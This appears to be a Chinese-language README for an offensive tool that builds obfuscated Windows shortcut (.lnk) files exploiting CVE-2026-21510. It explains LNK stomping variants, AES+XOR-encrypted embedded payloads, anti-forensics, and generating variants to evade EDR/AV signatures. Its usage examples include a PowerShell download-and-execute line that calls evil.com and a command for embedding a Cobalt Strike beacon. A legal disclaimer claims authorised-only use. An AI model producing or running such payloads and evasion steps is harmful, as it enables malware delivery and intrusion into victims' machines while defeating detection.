
生成利用 CVE-2026-21510 的混淆 .lnk 文件,结合 LNK stomping、加密载荷及反取证技术,用于授权渗透测试和红队行动。
README EpSiLoNPoInTlnk CVE-2026-21510 - .LNK 生成器 利用 CVE-2026-21510(Windows ShellLink 远程代码执行)漏洞生成 .lnk 文件的工具。 专为进攻性安全研究、授权渗透测试和漏洞分析而设计。
法律警告 ⚠️ 本工具仅供合法且经授权的用途使用。 任何未经授权针对系统或网络的使用都将违反当地和国际法律(例如:美国《计算机欺诈和滥用法》(CFAA)、GDPR、法国《Godfrain 法》)。 作者对任何不当使用不承担任何责任。(请参阅下方的免责条款。)
描述 此生成器创建混淆的 .lnk 文件,以利用 CVE-2026-21510,这是 Windows 快捷方式处理中的一个漏洞。 它集成了:
LNK Stomping(5 种变体:dot、path_segment、relative、double_extension、unicode)
PropertyStore,包含随机 CLSID 和 PKEY
KnownFolderDataBlock(随机或定向的 KnownFolderID)
EnvironmentVariableDataBlock(Unicode 混淆、动态变量)
混淆(级别 1-5:TrackerDataBlock、ConsoleDataBlock、随机块)
嵌入并加密的 Payload(AES-256-CBC + XOR)
反取证(时间戳归零、文件大小归零、最小化元数据)
EDR/AV 绕过(合法进程、混淆的 PowerShell 参数)
随机变体生成(10+ 个唯一变体以避免签名)
先决条件 系统 操作系统:Windows(用于测试生成的 .lnk)或 Linux/macOS(用于生成)。
Python:≥ 3.10。 依赖项: pip install pycryptodome
推荐工具 分析:PEStudio、Detect It Easy (DIE)
调试:x64dbg、WinDbg
测试:隔离的 Windows 虚拟机(例如:VirtualBox 上的 Windows 10/11)。
安装 克隆仓库: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk 安装依赖项: pip install -r requirements.txt (可选)创建虚拟环境: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
使用方法
基本生成 python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk 生成一个利用 CVE-2026-21510 启动 calc.exe 的 .lnk 文件。
高级选项 选项 描述 默认值 --target 目标路径(例如:C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args 目标参数(例如:/c whoami) /c calc.exe --output .lnk 的输出路径 ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir 工作目录 C:\Windows\System32 --description 快捷方式描述 随机字符串 --unc 使用 UNC 路径(?\C:...) False --lnk-stomping 启用 LNK Stomping True --stomping-variant LNK Stomping 变体(dot、path_segment、relative、double_extension、unicode、random) random --obfuscation 添加无用的 ExtraData 块 True --obfuscation-level 混淆级别(1-5) 5 --embed-payload 要嵌入的文件路径(例如:payload.bin) None --encrypt-payload 加密 payload(AES-256-CBC + XOR) True --anti-forensics 应用反取证技术 True --randomize-clsid 随机化 PropertyStore 中的 CLSID True --randomize-known-folder 随机化 KnownFolderID True --obfuscate-arguments 混淆参数(PowerShell) True --generate-variants 生成 N 个随机变体 0 --debug 高级调试模式(详细日志) False
示例
示例 1:带嵌入 Payload 的漏洞利用
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
生成一个带有加密(AES-256 + XOR)和混淆 payload 的 .lnk 文件。
示例 2:生成 10 个随机变体
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
创建 10 个唯一变体以避免 EDR/AV 签名。
示例 3:极简模式(用于测试)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
生成一个未混淆的 .lnk 文件(用于分析或调试)。
技术原理
ShellLink 头(0x4C 固定字节 + 偏移量): LinkCLSID:00021401-0000-0000-C000-000000000046(必需)。 LinkFlags:配置为启用 HasRelativePath、HasWorkingDir、IsUnicode 等。
StringData: RelativePath:目标路径(如果启用了 LNK Stomping,则包含该技术)。 WorkingDir:工作目录(例如:C:\Windows\System32)。 Arguments:混淆的参数(PowerShell、cmd 等)。
ExtraData 块(关键顺序): PropertyStoreDataBlock:包含 PKEY_AppUserModel_ID(随机 CLSID)。 KnownFolderDataBlock:指向系统文件夹(例如:%SystemRoot%)。 EnvironmentVariableDataBlock:在 Mark-of-the-Web (MotW) 之前强制展开变量。 混淆块(根据 obfuscation_level): TrackerDataBlock(级别 1) ConsoleDataBlock(级别 2) DarwinDataBlock、ShimDataBlock 等(级别 3-5)
嵌入的 Payload(如果使用 --embed-payload):使用 AES-256-CBC + XOR 加密。
Payload 使用 AES-256-CBC 加密(32 字节随机密钥,16 字节 IV)。
使用 AES 密钥的前 16 个字节应用一层 XOR。
密钥和 IV 存储在 ShimDataBlock 中,以便后续解密。
测试与验证
文件的最小大小。
HeaderSize 和 CLSID 的有效性。
所需 LinkFlags 的存在。
ExtraData 块的结构(PropertyStore、KnownFolder 等)。
执行(在隔离环境中):双击 .lnk 并观察行为。使用 Process Monitor (ProcMon) 分析系统调用。
EDR/AV 检测:使用 Windows Defender 或 CrowdStrike 等工具进行测试。如果检测到 .lnk,请提高 obfuscation_level 或禁用某些选项。
使用场景 场景 命令 描述 渗透测试 --target "C:\Windows\System32\cmd.exe" --args "/c whoami" 验证漏洞利用是否在目标机器上有效。 红队 --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 生成带有混淆 Cobalt Strike payload 的 .lnk 文件。 研究 --generate-variants 50 --output-dir ./samples 创建 50 个变体以测试 EDR 检测。 调试 --debug --obfuscation False 显示详细日志以分析 .lnk 的结构。 贡献 欢迎贡献!以下是贡献方式:
Fork 该项目。
创建一个分支(git checkout -b feature/ma-nouvelle-fonctionnalité)。
提交您的更改(git commit -m "Ajout de la fonctionnalité X")。
推送到分支(git push origin feature/ma-nouvelle-fonctionnalité)。
打开一个 Pull Request。 贡献想法:
添加新的 LNK Stomping 变体。
实现其他加密算法(例如:ChaCha20)。
改进参数混淆(例如:使用 JScript)。
添加单元测试以验证 .lnk 结构。
许可证 本项目采用 MIT 许可证。 有关详细信息,请参阅 LICENSE 文件。
免责条款 🚨 免责条款
📜 免责条款(DISCLAIMER)
在使用本工具之前,请仔细阅读。
⚠️ 明确的法律警告
本工具的用户(以下简称“用户”)明确承认并接受以下条款:
仅限合法使用
本工具仅供合法且经授权的用途使用,例如:
在学术或专业框架内进行计算机安全研究。
对用户拥有所有者书面授权的系统进行渗透测试(pentest)。
在受控环境中进行漏洞分析(例如:安全实验室、CTF、授权的 bug bounty)。
任何其他用途均被严格禁止,并可能在许多司法管辖区构成刑事犯罪,包括(但不限于):
法国:1988 年 1 月 5 日第 88-19 号法律(Godfrain 法),《刑法典》第 323-1 至 323-7 条(欺诈性访问、数据修改等)。
欧盟:关于攻击信息系统的第 2013/40/UE 号指令。
美国:《计算机欺诈和滥用法》(CFAA),《美国法典》第 18 篇第 1030 条。
其他国家:相应的当地法律(例如:英国的《计算机滥用法》)。
无保证
作者(EpSiLoNPoInT)不对以下事项提供任何明示或暗示的保证:
本工具的可靠性、准确性或实用性。
代码中不存在错误或漏洞。
与所有系统或环境的兼容性。
使用本工具所获得的结果。
用户承担与本工具使用相关的所有风险,包括(但不限于):
对自身系统或第三方系统造成的硬件或软件损坏。
违反适用法律时的法律后果。
数据丢失或服务中断。
责任限制
在任何情况下,作者、贡献者或参与本工具创建、生产或分发的任何其他方均不对以下事项承担责任:
任何损害(直接、间接、附带、特殊、惩戒性或后果性),包括(但不限于):
利润损失。
数据丢失或文件损坏。
声誉损害。
用户可能面临的诉讼或罚款。
即使作者已被告知发生此类损害的可能性。
遵守法律法规
用户承诺遵守其司法管辖区内所有适用的法律、法规和标准,包括(但不限于):
数据保护法律(例如:欧盟 GDPR)。
网络安全和计算机欺诈法律。
其雇主或组织的安全政策。
用户将赔偿并使作者免受因违反这些法律或承诺而产生的任何索赔、损害或费用(包括法律费用)。
禁止恶意再分发
用户明确禁止:
以恶意目的出售、出租或再分发本工具。
修改代码以将其变成网络犯罪武器(例如:勒索软件、间谍软件)。
在未经明确授权的情况下,使用本工具针对关键基础设施(例如:医院、政府、银行)。
在未向第三方传达本免责条款的情况下,与本工具共享。
第三方责任排除
本工具可能与第三方库(例如:pycryptodome)交互。
作者不控制这些库,也不对其行为或漏洞负责。
用户必须验证所使用的任何依赖项的许可证和安全性。
自担风险使用
使用本工具即表示您完全且无条件地接受本条款的内容。
如果您不同意这些条款,请勿使用本工具,并立即删除您拥有的所有副本。
管辖法律与适用法律
本条款受法兰西共和国法律管辖并据其解释。
因本条款或本工具使用引起的或与之相关的任何争议,均受巴黎(法国)法院的专属管辖。
🔐 安全建议
为了安全合法地使用本工具: ✅ 始终在虚拟环境(例如:VirtualBox、VMware)中隔离测试。 ✅ 在测试不属于您的系统之前,获得书面授权。 ✅ 禁用测试机器的网络连接,以避免意外泄漏。 ✅ 使用监控工具(例如:Wireshark、Process Monitor)分析行为。 ✅ 负责任地报告漏洞(例如:通过 bug bounty 计划)。 ❌ 未经授权,切勿在生产系统上进行测试。 ❌ 请勿与未经授权的人员共享生成的漏洞利用。 ❌ 请勿将恶意 payload 存储在可公开访问的系统上。
📞 联系方式
如有关于本工具的任何法律或技术问题:
作者:EpSiLoNPoInT
GitHub:EpSiLoNPoInTOrI
⚠️ 注意:作者不会为任何非法或不道德的使用本工具提供支持。
📅 条款日期
最后更新:2026 年 5 月 9 日 版本:1.0